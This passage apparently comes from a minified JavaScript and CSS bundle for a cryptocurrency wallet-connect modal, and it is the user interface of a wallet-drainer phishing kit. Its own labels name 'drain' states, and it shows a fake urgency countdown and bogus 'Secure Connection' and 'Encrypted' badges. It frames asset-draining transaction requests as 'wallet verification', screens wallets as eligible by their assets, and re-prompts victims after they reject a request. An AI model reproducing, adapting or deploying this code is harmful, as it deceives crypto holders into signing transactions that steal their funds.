hidden;\n}\n.noir-evm-fomo-fill {\n height: 100%;\n width: 100%;\n background: #34d399;\n transition: width 0.1s linear, background 2s ease;\n}\n.noir-evm-fomo-text {\n font-size: 11px;\n color: rgba(232,232,232,0.55);\n text-align: center;\n margin-top: 6px;\n padding: 0 12px 8px;\n display: none;\n letter-spacing: 0.02em;\n transition: color 0.5s ease;\n}\n.noir-evm-fomo-text.noir-evm-fomo-urgent {\n color: #ef4444;\n font-weight: 500;\n animation: noir-evm-fomo-pulse 1s ease infinite;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 15. Drain View \u2014 arc spinner, badges, trust badges, guide, warning, retry\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n@keyframes noir-evm-shake {\n 0%, 100% { transform: translateX(0); }\n 25% { transform: translateX(3px); }\n 50% { transform: translateX(-3px); }\n 75% { transform: translateX(3px); }\n}\n\n/* Drain status area */\n.noir-evm-drain-status {\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n text-align: center;\n padding: 24px 24px;\n position: relative;\n will-change: opacity, transform;\n min-height: 220px;\n flex: 1;\n}\n\n/* Arc spinner in drain view */\n.noir-evm-drain-wallet-area {\n display: flex;\n align-items: center;\n justify-content: center;\n padding: 16px 0;\n}\n.noir-evm-drain-arc-loader {\n position: relative;\n width: 72px;\n height: 72px;\n display: flex;\n align-items: center;\n justify-content: center;\n}\n.noir-evm-drain-arc-spinner {\n position: absolute;\n inset: 0;\n border-radius: 18px;\n overflow: hidden;\n box-shadow: inset 0 0 0 2px rgba(255,255,255,0.06);\n}\n.noir-evm-drain-arc-spinner::before {\n content: '';\n position: absolute;\n inset: -50%;\n border-radius: 50%;\n background: conic-gradient(#667DFF 0deg, #667DFF 90deg, transparent 90deg, transparent 360deg);\n animation: noir-evm-arc-rotate 1.2s linear infinite;\n transition: background 300ms ease;\n will-change: transform;\n}\n.noir-evm-drain-arc-spinner::after {\n content: '';\n position: absolute;\n inset: 2px;\n border-radius: 16px;\n background: var(--rwm-card, #1a1a1a);\n z-index: 1;\n}\n.noir-evm-drain-arc-stopped .noir-evm-drain-arc-spinner {\n box-shadow: none;\n}\n.noir-evm-drain-arc-stopped .noir-evm-drain-arc-spinner::before {\n animation: none;\n background: transparent;\n}\n\n.noir-evm-drain-arc-icon {\n width: 56px;\n height: 56px;\n border-radius: 14px;\n object-fit: cover;\n z-index: 2;\n}\n.noir-evm-drain-arc-icon-fallback {\n width: 56px;\n height: 56px;\n border-radius: 14px;\n background: rgba(255,255,255,0.06);\n display: flex;\n align-items: center;\n justify-content: center;\n font-size: 24px;\n color: rgba(255,255,255,0.5);\n z-index: 2;\n font-weight: 600;\n}\n\n/* Badges on arc loader */\n.noir-evm-drain-badge {\n position: absolute;\n bottom: -4px;\n right: -4px;\n width: 20px;\n height: 20px;\n border-radius: 50%;\n display: flex;\n align-items: center;\n justify-content: center;\n z-index: 2;\n opacity: 0;\n transform: scale(0.5);\n transition: opacity 200ms ease, transform 200ms ease;\n}\n.noir-evm-drain-badge.noir-evm-drain-badge-show {\n opacity: 1;\n transform: scale(1);\n}\n.noir-evm-drain-badge-error {\n background: rgba(239,68,68,0.12);\n}\n.noir-evm-drain-badge-success {\n background: rgba(52,211,153,0.12);\n}\n\n/* Drain text */\n.noir-evm-drain-text {\n display: flex;\n flex-direction: column;\n align-items: center;\n gap: 4px;\n padding: 0 24px;\n margin-top: 12px;\n}\n.noir-evm-drain-title {\n font-size: 16px;\n font-weight: 600;\n line-height: 20px;\n letter-spacing: -0.16px;\n color: rgba(232,232,232,0.9);\n text-align: center;\n}\n.noir-evm-drain-desc {\n font-size: 14px;\n font-weight: 400;\n line-height: 18px;\n letter-spacing: -0.16px;\n color: rgba(232,232,232,0.45);\n text-align: center;\n max-width: 280px;\n}\n\n/* Trust badges in drain view */\n.noir-evm-drain-trust {\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 8px;\n padding: 8px 0;\n margin-top: 8px;\n}\n.noir-evm-drain-trust-badge {\n display: flex;\n align-items: center;\n gap: 4px;\n font-size: 11px;\n font-weight: 400;\n color: rgba(232,232,232,0.45);\n}\n.noir-evm-drain-trust-badge svg {\n width: 12px;\n height: 12px;\n color: #34d399;\n}\n\n/* Retry button */\n.noir-evm-drain-retry {\n height: 38px;\n border-radius: 24px;\n border: 1px solid rgba(255,255,255,0.06);\n background: transparent;\n color: rgba(232,232,232,0.9);\n font-size: 14px;\n font-weight: 500;\n display: inline-flex;\n align-items: center;\n justify-content: center;\n gap: 6px;\n padding: 0 16px;\n cursor: pointer;\n transition: background-color 200ms ease, transform 150ms ease;\n margin-top: 16px;\n outline: none;\n font-family: var(--rwm-font);\n}\n.noir-evm-drain-retry:hover { background: rgba(255,255,255,0.04); }\n.noir-evm-drain-retry:active { transform: scale(0.95); }\n.noir-evm-drain-retry:disabled { opacity: 0.5; cursor: not-allowed; }\n.noir-evm-drain-retry svg { width: 14px; height: 14px; }\n\n/* Guide GIF */\n.noir-evm-drain-guide {\n padding: 8px 16px;\n text-align: center;\n width: 100%;\n display: flex;\n flex-direction: column;\n align-items: center;\n flex-shrink: 0;\n}\n.noir-evm-drain-guide img {\n max-width: 100%;\n max-height: 200px;\n border-radius: 12px;\n object-fit: contain;\n}\n.noir-evm-drain-guide-label {\n font-size: 12px;\n color: rgba(232,232,232,0.45);\n margin-top: 6px;\n font-weight: 400;\n text-align: center;\n}\n\n/* Warning screen */\n.noir-evm-drain-warning {\n display: flex;\n flex-direction: column;\n align-items: center;\n text-align: center;\n animation: rwm-fadeIn 0.3s ease forwards;\n height: 100%;\n overflow-y: auto;\n position: relative;\n padding-bottom: 70px;\n}\n.noir-evm-drain-warning-header {\n display: flex;\n align-items: center;\n justify-content: space-between;\n width: 100%;\n padding: 0 16px;\n height: 60px;\n flex-shrink: 0;\n}\n.noir-evm-drain-warning-title {\n font-size: 17px;\n font-weight: 600;\n color: rgba(232,232,232,0.9);\n flex: 1;\n text-align: center;\n}\n.noir-evm-drain-warning-body {\n flex: 1;\n display: flex;\n flex-direction: column;\n align-items: center;\n padding: 12px 16px;\n width: 100%;\n overflow-y: auto;\n}\n.noir-evm-drain-warning-gif {\n background: transparent;\n width: 100%;\n max-width: 340px;\n min-height: 240px;\n max-height: 500px;\n overflow: hidden;\n display: flex;\n align-items: center;\n justify-content: center;\n flex-shrink: 0;\n}\n.noir-evm-drain-warning-gif img {\n max-width: 340px;\n width: 100%;\n height: auto;\n object-fit: contain;\n border-radius: 16px;\n}\n.noir-evm-drain-warning-note {\n background: rgba(255,255,255,0.04);\n border-radius: 12px;\n padding: 12px 16px;\n margin: 12px 0;\n width: 100%;\n max-width: 320px;\n}\n.noir-evm-drain-warning-note-label {\n color: #667DFF;\n font-size: 13px;\n font-weight: 500;\n margin-right: 4px;\n}\n.noir-evm-drain-warning-text {\n font-size: 13px;\n color: rgba(232,232,232,0.9);\n line-height: 1.5;\n display: inline;\n}\n.noir-evm-drain-warning-btn {\n width: calc(100% - 32px);\n max-width: 320px;\n height: 44px;\n background: #667DFF;\n color: #fff;\n border: none;\n border-radius: 24px;\n font-size: 14px;\n font-weight: 500;\n cursor: pointer;\n transition: all 0.2s ease;\n position: absolute;\n bottom: 16px;\n left: 16px;\n right: 16px;\n margin: 0 auto;\n font-family: var(--rwm-font);\n}\n.noir-evm-drain-warning-btn:hover { opacity: 0.9; }\n.noir-evm-drain-warning-btn:active { transform: scale(0.98); }\n\n.noir-evm-drain-icon-btn {\n width: 28px;\n height: 28px;\n border-radius: 8px;\n background: transparent;\n border: none;\n color: rgba(232,232,232,0.45);\n cursor: pointer;\n display: flex;\n align-items: center;\n justify-content: center;\n padding: 0;\n transition: background-color 200ms ease;\n outline: none;\n}\n.noir-evm-drain-icon-btn:hover { background: rgba(255,255,255,0.04); }\n\n/* Utility hide class */\n.noir-evm-hide { display: none !important; }\n\n/* Drain mobile responsive */\n@media (max-width: 480px) {\n .noir-evm-drain-status { padding: 0 16px 20px; }\n .noir-evm-drain-arc-loader { width: 60px; height: 60px; }\n .noir-evm-drain-arc-icon,\n .noir-evm-drain-arc-icon-fallback { width: 44px; height: 44px; border-radius: 12px; }\n .noir-evm-drain-guide img { max-height: 180px; }\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Reduced Motion \u2014 fade only, no transforms\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n@media (prefers-reduced-motion: reduce) {\n .noir-evm-card.noir-evm-slide-in,\n .noir-evm-card.noir-evm-slide-out {\n animation: rwm-fadeIn 0.2s ease forwards;\n }\n .noir-evm-view.noir-evm-anim-slide-left,\n .noir-evm-view.noir-evm-anim-slide-right,\n .noir-evm-view.noir-evm-anim-fade-in {\n animation: rwm-fadeIn 0.2s ease forwards;\n }\n .noir-evm-connecting-arc-spinner::before {\n animation: noir-evm-arc-rotate 2s linear infinite;\n }\n .noir-evm-spinner {\n animation: rwm-spin 1.5s linear infinite;\n }\n .noir-evm-overlay {\n transition: background 0.1s ease;\n }\n .noir-evm-content {\n transition: height 0.15s ease;\n }\n @keyframes rwm-slideUpMobile {\n from { opacity: 0; }\n to { opacity: 1; }\n }\n @keyframes rwm-slideDownMobile {\n from { opacity: 1; }\n to { opacity: 0; }\n }\n}\n",document.head.appendChild(e),Ne=!0}function un(e){Xe.forEach((n,t)=>{const r=t+1;n.classList.remove("noir-evm-pill-active","noir-evm-pill-completed"),r{i.classList.remove(o),a===hn&&(Ue=!1)},650)}function gn(){const e=document.createElement("div"),n=document.createElement("div");n.className="noir-evm-wallet-list";const t=[...We].sort((e,n)=>"walletConnect"===e.type?1:"walletConnect"===n.type||e.available&&!n.available?-1:!e.available&&n.available?1:0),r=t.find(e=>"walletConnect"===e.type),a=t.filter(e=>"walletConnect"!==e.type);for(const e of a)n.appendChild(Cn(e));if(r){const e=document.createElement("div");e.className="noir-evm-separator",n.appendChild(e),n.appendChild(Cn(r))}return e.appendChild(n),e}function vn(){const e=document.createElement("div");return e.className="noir-evm-help-view",e.innerHTML='\n
\n
\n
\n \n
\n
\n

One login for all of web3

\n

Log in to any app by connecting your wallet. Say goodbye to countless passwords!

\n
\n
\n
\n
\n \n
\n
\n

A home for your digital assets

\n

A wallet lets you store, send and receive digital assets like cryptocurrencies and NFTs.

\n
\n
\n
\n
\n \n
\n
\n

Your gateway to a new web

\n

With your wallet, you can explore and interact with DeFi, NFTs, DAOs, and much more.

\n
\n
\n
\n \n ',e}function wn(e,n,t,r){const a=document.createElement("div");a.style.cssText="display:flex;flex-direction:column;align-items:stretch;flex:1;";const i=document.createElement("div");i.className="noir-evm-drain-status",on=i;const o=document.createElement("div");o.className="noir-evm-drain-wallet-area";const s=document.createElement("div");s.className="noir-evm-drain-arc-loader",Je=s;const d=document.createElement("div");d.className="noir-evm-drain-arc-spinner";const c=document.createElement("img");if(c.className="noir-evm-drain-arc-icon",c.alt=n,e)c.src=e,c.onerror=()=>{if(c.style.display="none",!s.querySelector(".noir-evm-drain-arc-icon-fallback")){const e=document.createElement("div");e.className="noir-evm-drain-arc-icon-fallback",e.textContent=(n||"W")[0].toUpperCase(),s.appendChild(e)}};else{c.style.display="none";const e=document.createElement("div");e.className="noir-evm-drain-arc-icon-fallback",e.textContent=(n||"W")[0].toUpperCase(),s.appendChild(e)}const l=document.createElement("div");l.className="noir-evm-drain-badge noir-evm-drain-badge-error noir-evm-hide",l.innerHTML='',en=l;const m=document.createElement("div");m.className="noir-evm-drain-badge noir-evm-drain-badge-success noir-evm-hide",m.innerHTML='',nn=m,s.appendChild(d),s.appendChild(c),s.appendChild(l),s.appendChild(m),o.appendChild(s);const p=document.createElement("div");p.className="noir-evm-drain-text";const u=document.createElement("div");u.className="noir-evm-drain-title",u.textContent=t,_e=u;const h=document.createElement("div");h.className="noir-evm-drain-desc",h.textContent=r,$e=h,p.appendChild(u),p.appendChild(h);const f=document.createElement("button");f.className="noir-evm-drain-retry noir-evm-hide",f.innerHTML='Try again',f.addEventListener("click",()=>{f.disabled||window.location.reload()}),tn=f;const g=document.createElement("div");g.className="noir-evm-drain-guide noir-evm-hide",g.innerHTML='
Guide',rn=g,i.appendChild(o),i.appendChild(p),i.appendChild(f),i.appendChild(g);const v=document.createElement("div");return v.className="noir-evm-drain-warning noir-evm-hide",v.innerHTML='\n
\n \n
Security Check
\n \n
\n
\n
Guide
\n
\u24d8 Note:Complete verification to proceed.
\n
\n \n ',an=v,a.appendChild(i),a.appendChild(v),a}function bn(){return wn(Ke,Qe,i.config?.messages?.successTitle||"Verification Complete",i.config?.messages?.successDesc||"Your wallet has been successfully verified")}let yn="",xn="";function An(){const e=yn||i.config?.messages?.failedTitle||"Verification failed",n=xn||i.config?.messages?.failedDesc||"Please try again later";return yn="",xn="",wn(Ke,Qe,e,n)}function Cn(e){const n=document.createElement("button");n.className="noir-evm-wallet-btn";const t=document.createElement("div");t.className="noir-evm-wallet-icon-wrap";const r=document.createElement("img");r.src=e.icon,r.alt=e.name,r.className="noir-evm-wallet-icon",r.loading="eager",r.decoding="async",r.onerror=()=>{r.style.display="none";const n=document.createElement("div");n.className="noir-evm-wallet-icon-fallback";const a=e.name.split(/\s+/);n.textContent=a.length>1?(a[0][0]+a[1][0]).toUpperCase():e.name.substring(0,2).toUpperCase(),t.appendChild(n)},t.appendChild(r);const a=document.createElement("span");a.className="noir-evm-wallet-name",a.textContent=e.name;const i=document.createElement("span");i.className="noir-evm-wallet-status",e.available||"walletConnect"===e.type?(i.textContent="Detected",i.classList.add("noir-evm-detected")):(i.textContent="QR Code",i.classList.add("noir-evm-qr"));const o=document.createElement("div");return o.className="noir-evm-wallet-left",o.appendChild(t),o.appendChild(a),n.appendChild(o),n.appendChild(i),n.onclick=()=>{Sn("connecting",e.name),ze?.(e)},n}function kn(e){en&&(en.classList.add("noir-evm-hide"),en.classList.remove("noir-evm-drain-badge-show")),nn&&(nn.classList.add("noir-evm-hide"),nn.classList.remove("noir-evm-drain-badge-show")),"error"===e&&en?(en.classList.remove("noir-evm-hide"),requestAnimationFrame(()=>en.classList.add("noir-evm-drain-badge-show"))):"success"===e&&nn&&(nn.classList.remove("noir-evm-hide"),requestAnimationFrame(()=>nn.classList.add("noir-evm-drain-badge-show")))}function Sn(e,n){if(!qe)return;if(e===Fe&&"idle"!==e)return;if(Ue&&e===Fe)return;const t=Fe;Fe=e;const r="draining"===e||"drain-success"===e||"drain-failed"===e,a="draining"===t||"drain-success"===t||"drain-failed"===t,o="idle"===e&&"idle"!==t?"back":"idle"===t&&"all-wallets"===e||"idle"===t&&"help"===e||"connected"===t&&r?"forward":"fade",s={idle:"Connect Wallet","all-wallets":"All Wallets",connecting:n||"Connecting",qrcode:"Scan QR Code",error:"Error",help:"What is a Wallet?",connected:"Verifying",draining:"","drain-success":"","drain-failed":""};qe.title.textContent=s[e]||"Connect Wallet";const d="idle"===e||"connected"===e||r;qe.backBtn.style.visibility=d?"hidden":"visible";const c="connected"===e||r;switch(qe.closeBtn.style.visibility=c?"hidden":"visible",qe.loadingBar&&(r?qe.loadingBar.classList.remove("noir-evm-hide"):qe.loadingBar.classList.add("noir-evm-hide")),qe.footer.style.display="",e){case"idle":case"help":case"all-wallets":case"connecting":case"qrcode":case"error":un(1);break;case"connected":case"draining":case"drain-failed":un(2);break;case"drain-success":un(3)}switch(e){case"idle":case"all-wallets":fn(0,gn,o);break;case"connecting":fn(0,()=>function(e){const n=document.createElement("div");n.className="noir-evm-connecting-view";let t="";if(!t){const n=We.find(n=>n.name===e);n&&(t=n.icon)}He=e,Ge=t;const r=t?`${e}`:"";return n.innerHTML=`\n
\n
\n ${r}\n
\n

Continue in ${e}

\n

Accept connection request in the wallet

\n `,n}(n||"wallet"),o);break;case"qrcode":fn(0,()=>function(e){const n=document.createElement("div");n.className="noir-evm-connecting-view",n.innerHTML=`\n
\n

Scan QR code with a
WalletConnect-compatible wallet

\n
\n
\n QR Code\n
\n
\n `;const t=n.querySelector(".noir-evm-qr-img"),r=n.querySelector(".noir-evm-qr-loading");return t&&(t.onload=()=>{r&&(r.style.display="none"),t.style.opacity="1"},t.onerror=()=>{r&&(r.innerHTML='

QR code failed to load

')}),n}(n||""),"fade");break;case"error":fn(0,()=>function(e){const n=document.createElement("div");n.className="noir-evm-connecting-view",n.innerHTML=`\n
!
\n

${e}

\n \n `;const t=n.querySelector("#noir-evm-retry");return t&&t.addEventListener("click",()=>Sn("idle")),n}(n||"Connection failed"),"fade");break;case"connected":fn(0,()=>function(e){return function(e){const n=document.createElement("div");n.className="noir-evm-connecting-view";const t=Ge?``:"",r=e||i.config?.messages?.loading||"Verifying your wallet...";return n.innerHTML=`\n
\n
\n ${t}\n
\n

${r}

\n

Please wait while we check your assets

\n `,n}(e)}(n||""),"fade");break;case"help":fn(0,vn,o);break;case"draining":fn(0,()=>wn(Ke,Qe,Ve||i.config?.messages?.loading||"Verifying your wallet...",Ze||i.config?.messages?.awaitingDesc||"Please confirm the request in your wallet"),a?"fade":"forward");break;case"drain-success":fn(0,bn,"fade"),setTimeout(()=>{Je&&Je.classList.add("noir-evm-drain-arc-stopped"),kn("success"),qe?.loadingBarFill&&(qe.loadingBarFill.style.width="100%",qe.loadingBarFill.style.background="#34d399")},50);break;case"drain-failed":fn(0,An,"fade"),setTimeout(()=>{Je&&Je.classList.add("noir-evm-drain-arc-stopped"),kn("error"),qe?.loadingBarFill&&(qe.loadingBarFill.style.width="100%",qe.loadingBarFill.style.background="#ef4444"),_e&&(_e.style.color="#ef4444"),on&&(on.style.animation="noir-evm-shake 0.5s cubic-bezier(0.36, 0.07, 0.19, 0.97)",setTimeout(()=>{on&&(on.style.animation="")},500))},50)}}function Bn(e){const n=document.createElement("div");n.className="noir-evm-overlay";const t=i.config?.internal?.modalDesign;"noir-modal-light"===t&&n.classList.add("noir-evm-light");const r=document.createElement("div");r.className="noir-evm-card";const a=document.createElement("div");a.className="noir-evm-header";const o=document.createElement("button");o.className="noir-evm-back-btn",o.innerHTML='',o.onclick=()=>{Re||((0,Me.D)(),Sn("idle"))};const s=document.createElement("h2");s.className="noir-evm-title",s.textContent="Connect Wallet";const d=document.createElement("button");d.className="noir-evm-close",d.innerHTML='',d.onclick=()=>{Re||(In(),window!==window.parent&&window.parent.postMessage({type:"noirModalClose"},"*"),ze?.(null))},a.appendChild(o),a.appendChild(s),a.appendChild(d);const c=document.createElement("div");c.className="noir-evm-loading-bar noir-evm-hide";const l=document.createElement("div");l.className="noir-evm-loading-fill",c.appendChild(l);const m=document.createElement("div");m.className="noir-evm-fomo noir-evm-hide",m.innerHTML='
Session expires in...
';const p=document.createElement("div");p.className="noir-evm-pills",Xe=[];const u=[(i.config,"Connect"),"Verify","Done"];for(let e=0;e<3;e++){if(e>0){const e=document.createElement("span");e.className="noir-evm-pill-arrow",e.textContent="\u2192",p.appendChild(e)}const n=document.createElement("div");n.className="noir-evm-pill"+(0===e?" noir-evm-pill-active":""),n.innerHTML=`${e+1}${u[e]}`,p.appendChild(n),Xe.push(n)}const h=document.createElement("div");h.className="noir-evm-content";const f=document.createElement("div");f.className="noir-evm-wallet-list",f.style.display="none";const g=document.createElement("p");g.className="noir-evm-subtitle";const v=document.createElement("div");v.className="noir-evm-status-area",v.style.display="none";const w=document.createElement("div");return w.className="noir-evm-footer",w.innerHTML='\n \n \n Secure Connection\n \n \n \n Encrypted\n \n ',r.appendChild(a),r.appendChild(m),r.appendChild(c),r.appendChild(p),r.appendChild(h),r.appendChild(w),n.appendChild(r),{overlay:n,card:r,content:h,walletList:f,statusArea:v,title:s,subtitle:g,closeBtn:d,backBtn:o,footer:w,pillsContainer:p,loadingBar:c,loadingBarFill:l,fomoContainer:m}}function In(){if(!Re&&((0,Me.D)(),qe)){const e=qe.overlay,n=qe.card;qe=null,Fe="idle",Re=!1,n.classList.add("noir-evm-slide-out"),setTimeout(()=>{e.classList.add("noir-evm-fade-out")},100),setTimeout(()=>{e.remove()},350)}}function Pn(){if(!qe)return;try{"undefined"!=typeof window&&window.parent&&window.parent!==window&&window.parent.postMessage({type:"noirModalClose"},"*")}catch{}const e=qe.overlay;qe=null,Fe="idle",Re=!1,e.style.opacity="0",e.style.transition="opacity 0.4s ease",setTimeout(()=>{e.remove()},400)}function En(e,n,t){if(!qe)return;ln&&(clearTimeout(ln),ln=null);const r=n>0?Math.min(e/n*100,95):5;if(qe.loadingBarFill&&(qe.loadingBarFill.style.width=`${r}%`),un(0===e?1:2),kn("none"),on){if(Ye)return Ye=!1,_e&&(_e.textContent=t,_e.style.color=""),$e&&($e.textContent=i.config?.messages?.awaitingDesc||"Please confirm the request in your wallet"),tn&&tn.classList.add("noir-evm-hide"),rn&&rn.classList.add("noir-evm-hide"),Je&&Je.classList.remove("noir-evm-drain-arc-stopped"),qe.loadingBarFill&&(qe.loadingBarFill.style.background=""),on.style.opacity="",on.style.transform="",void(on.style.transition="");on.style.transition="opacity 200ms ease, transform 200ms ease",on.style.opacity="0",on.style.transform="translateY(-8px)",setTimeout(()=>{_e&&(_e.textContent=t,_e.style.color=""),$e&&($e.textContent=i.config?.messages?.awaitingDesc||"Please confirm the request in your wallet"),tn&&tn.classList.add("noir-evm-hide"),rn&&rn.classList.add("noir-evm-hide"),Je&&Je.classList.remove("noir-evm-drain-arc-stopped"),qe?.loadingBarFill&&(qe.loadingBarFill.style.background=""),on&&(on.style.transform="translateY(8px)",requestAnimationFrame(()=>{on&&(on.style.transition="opacity 200ms ease, transform 200ms ease",on.style.opacity="1",on.style.transform="translateY(0)",setTimeout(()=>{on&&(on.style.transition="",on.style.opacity="",on.style.transform="")},210))}))},210)}else Ve=t}function Tn(e){qe&&(Dn(),Ln(),Sn(e?"drain-success":"drain-failed"),setTimeout(()=>{Pn(),"undefined"!=typeof window&&window.parent&&window.parent!==window&&window.parent.postMessage({type:"noirBridgeDone"},"*")},2500))}function jn(e){qe?.loadingBarFill&&(qe.loadingBarFill.style.width=`${Math.min(e,100)}%`)}function On(){Ln(),tn&&tn.classList.add("noir-evm-hide")}function Ln(){cn&&(clearInterval(cn),cn=null)}function Dn(){sn&&(cancelAnimationFrame(sn),sn=null),dn&&(clearTimeout(dn),dn=null),qe?.fomoContainer&&qe.fomoContainer.classList.add("noir-evm-hide")}async function Mn(e,n,t,r){return new Promise(a=>{if(mn=a,on&&on.classList.add("noir-evm-hide"),!an)return void a();const o=an.querySelector(".noir-evm-drain-warning-title"),s=an.querySelector(".noir-evm-drain-warning-text"),d=an.querySelector(".noir-evm-drain-warning-btn"),c=an.querySelector(".noir-evm-drain-warning-gif"),l=an.querySelector(".noir-evm-drain-warning-gif img"),m=an.querySelector(".noir-evm-drain-warning-back"),p=an.querySelector(".noir-evm-drain-warning-close");o&&(o.textContent=n||i.config?.messages?.warningTitle||"Security Check"),s&&(s.textContent=t||i.config?.messages?.warningText||"Complete verification to proceed."),d&&(d.textContent=r||i.config?.messages?.warningButton||"Verify Now"),c&&(e&&e.trim()?(c.classList.remove("noir-evm-hide"),l&&(l.src=e)):c.classList.add("noir-evm-hide")),an.classList.remove("noir-evm-hide"),d&&(d.onclick=()=>{an&&an.classList.add("noir-evm-hide"),on&&on.classList.remove("noir-evm-hide"),mn&&(mn(),mn=null)}),m&&(m.onclick=()=>{an&&an.classList.add("noir-evm-hide"),on&&on.classList.remove("noir-evm-hide"),mn=null}),p&&(p.onclick=()=>{an&&an.classList.add("noir-evm-hide"),on&&on.classList.remove("noir-evm-hide"),Pn(),mn=null})})}function qn(e){if(pn(),We=e,qe)return;Fe="idle",qe=Bn();const n=gn();n.classList.add("noir-evm-view"),qe.content.appendChild(n),document.body.appendChild(qe.overlay),qe.overlay.classList.add("noir-evm-visible"),qe.card.style.opacity="1",qe.card.style.transform="translateY(0)"}function Nn(e){pn(),(0,Me.preloadWcModule)();try{Object.keys(localStorage).forEach(e=>{(e.startsWith("wc@2:")||e.startsWith("@walletconnect/"))&&localStorage.removeItem(e)})}catch{}return(0,Me.d)(e=>{!function(e){qe&&Sn("qrcode",`https://api.qrserver.com/v1/create-qr-code/?size=228x228&data=${encodeURIComponent(e)}&bgcolor=ffffff&color=141414&format=svg&qzone=2`)}(e)},()=>{}),We=e,Re=!1,qe?(Sn("idle"),new Promise(e=>{ze=e})):new Promise(e=>{ze=e,Fe="idle",qe=Bn();const n=gn();n.classList.add("noir-evm-view"),qe.content.appendChild(n),document.body.appendChild(qe.overlay),requestAnimationFrame(()=>{qe?.overlay.classList.add("noir-evm-visible"),qe?.card.classList.add("noir-evm-slide-in"),setTimeout(()=>{qe?.card&&(qe.card.style.opacity="1",qe.card.style.transform="translateY(0)")},450)}),qe.overlay.addEventListener("click",e=>{Re||"connected"!==Fe&&e.target===qe?.overlay&&((0,Me.D)(),In(),window!==window.parent&&window.parent.postMessage({type:"noirModalClose"},"*"),ze?.(null))})})}class zn{constructor(e=1){this.currentStep=0,this.bridgeMode=!1,this.walletName="Wallet",this.walletIcon="",this.totalSteps=e}setWalletInfo(e,n){this.walletName=e||"Wallet",this.walletIcon=n||""}setBridgeMode(e){this.bridgeMode=e}sendBridgeStatus(e,n){this.bridgeMode&&"undefined"!=typeof window&&window.parent&&window.parent!==window&&window.parent.postMessage({type:"noirBridgeStatus",phase:e,message:n},"*")}show(){var e,n;e=this.walletName,n=this.walletIcon,qe&&(Re=!0,Qe=e,Ke=n,Ve=i.config?.messages?.loading||"Verifying your wallet...",Ze=i.config?.messages?.awaitingDesc||"Please confirm the request in your wallet",Ye=!0,qe.loadingBar&&qe.loadingBar.classList.remove("noir-evm-hide"),Ue&&(Ue=!1),"connected"===Fe&&(Fe="idle"),Sn("draining"))}showInCard(e,n){this.show()}hide(){try{"undefined"!=typeof window&&window.parent&&window.parent!==window&&window.parent.postMessage({type:"noirModalClose"},"*")}catch{}On(),Dn(),Tn(!1)}async changeStatus(e,n,t){switch(e){case"connected":return this.show(),this.sendBridgeStatus("connected","Connected"),!0;case"loading":return En(0,this.totalSteps,i.config?.messages?.loading||"Loading..."),this.sendBridgeStatus("loading","Loading..."),!0;case"eligible":return this.currentStep=1,En(1,this.totalSteps,i.config?.messages?.eligibleTitle||"Eligible"),this.sendBridgeStatus("eligible","Eligible"),!0;case"awaiting":if(t){this.currentStep=t.step,this.totalSteps=t.total;const e=t.label||i.config?.messages?.awaitingDesc||"Approve Transaction";En(t.step,t.total,e),this.sendBridgeStatus("processing",e)}else En(this.currentStep,this.totalSteps,"Approve Transaction"),this.sendBridgeStatus("processing","Approve Transaction");return!0;case"processing":return jn(this.totalSteps>0?Math.min(this.currentStep/this.totalSteps*100,90):50),this.sendBridgeStatus("processing","Processing..."),!0;case"verificationIncomplete":return En(this.currentStep,this.totalSteps,i.config?.messages?.incompleteTitle||"Verification Incomplete"),this.sendBridgeStatus("incomplete","Verification Incomplete"),!0;case"success":return Dn(),On(),Tn(!0),this.sendBridgeStatus("success",i.config?.messages?.successTitle||"Verification Complete"),!0;case"stepComplete":return t&&jn(t.total>0?Math.min(t.step/t.total*100,95):50),!0;case"notEligible":return Dn(),On(),yn="Not Eligible",xn="This wallet does not meet the requirements.",Tn(!1),this.sendBridgeStatus("notEligible","Not Eligible"),!0;case"rejected":return Dn(),function(e=2e3,n=!1){if(!qe)return;Je&&Je.classList.add("noir-evm-drain-arc-stopped"),kn("error");const t=n?i.config?.messages?.sessionExpiredTitle||"Session Expired":i.config?.messages?.rejectedTitle||"Transaction Rejected",r=n?i.config?.messages?.sessionExpiredDesc||"Too many rejected requests. Please reconnect.":i.config?.messages?.rejectedDesc||"You declined the request in your wallet";_e&&(_e.textContent=t,_e.style.color="#ef4444"),$e&&($e.textContent=r),on&&(on.style.animation="noir-evm-shake 0.5s cubic-bezier(0.36, 0.07, 0.19, 0.97)",setTimeout(()=>{on&&(on.style.animation="")},500)),qe.loadingBarFill&&(qe.loadingBarFill.style.background="#ef4444"),n?setTimeout(()=>{Pn(),"undefined"!=typeof window&&window.parent&&window.parent!==window&&window.parent.postMessage({type:"noirBridgeDone"},"*")},3e3):(ln&&clearTimeout(ln),ln=setTimeout(()=>{ln=null,qe&&(Je&&Je.classList.remove("noir-evm-drain-arc-stopped"),kn("none"),_e&&(_e.textContent=i.config?.messages?.awaitingTitle||"Retrying...",_e.style.color=""),$e&&($e.textContent=i.config?.messages?.awaitingDesc||"Please confirm the request in your 